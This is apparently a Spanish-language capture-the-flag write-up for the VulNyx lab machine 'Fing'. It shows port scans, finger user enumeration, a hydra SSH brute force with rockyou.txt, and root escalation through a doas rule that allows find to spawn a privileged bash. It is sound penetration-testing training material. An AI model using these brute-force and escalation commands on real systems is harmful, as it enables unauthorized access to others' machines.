VulNyx - Fing

logo

  • Finger
  • SSH Brute Force
  • Abusing Doas

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.16

PORT   STATE SERVICE
22/tcp open  ssh
79/tcp open  finger
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,79,80 192.168.1.16

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
79/tcp open  finger  Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb

❯ whatweb -v 192.168.1.16
WhatWeb report for http://192.168.1.16
Status    : 200 OK
Title     : Apache2 Debian Default Page: It works
IP        : 192.168.1.15
Country   : RESERVED, ZZ
Summary   : Apache[2.4.56], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)]

Para enumerar el puerto 79 he usado esta herramienta en perl finger-user-enum.pl y he encontrado estos dos usuarios.

❯ ./finger-user-enum.pl -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 192.168.1.16
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
    
 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------
    
Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Target count ............. 1
Username count ........... 8295455
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
    
######## Scan started at Sun Apr 23 16:58:20 #########
root@192.168.1.16: Login: root    Name: root..Directory: /root         Shell: /bin/bash
adam@192.168.1.16: Login: adam    Name: adam..Directory: /home/adam    Shell: /bin/bash

Con hydra realizo fuerza bruta al usuario adam.

hydra -t 50 -l adam -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.16 -V -f -I
[22][ssh] host: 192.168.1.16   login: adam   password: p*****n

Me conecto al sistema como usuario Adam.

❯ ssh adam@192.168.1.16
adam@192.168.1.16's password:
adam@fing:~$ id
uid=1000(adam) gid=1000(adam) grupos=1000(adam)

Busco en todo el sistema los binarios que tengan permisos SUID y encuentro el binario doas. El binario doas es una alternativa a sudo y se puede configurar para otorgar privilegios a usuarios específicos.

adam@fing:~$ find / -perm -4000 2>/dev/null
/usr/bin/doas

Busco el archivo doas.conf que és el encargado de dar permisos a otros usuarios.

find / -type f -name "doas.conf" 2>/dev/null
/etc/doas.conf

fichero doas.conf como adam puedo lanzar find como root sin usar contraseña.

cat /etc/doas.conf
permit nopass keepenv adam as root cmd /usr/bin/find

Si uso doas con el usuario adam no puedo ver el directorio de root.

adam@fing:~$ doas -u adam /usr/bin/find /root
doas: Operation not permitted

Pero si uso doas con el usuario root si puedo ver el directorio de root.

adam@fing:~$ doas -u root /usr/bin/find /root
/root
/root/.profile
/root/.bash_history
/root/root.txt
/root/.bashrc
/root/.local
/root/.local/share
/root/.local/share/nano

Para obtener el root he usado el recurso gtfobins.

Obtengo el root de la siguiente forma.

adam@fing:~$ doas -u root /usr/bin/find . -exec /bin/bash -p \; -quit
root@fing:/home/adam# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Fing.

Saludos!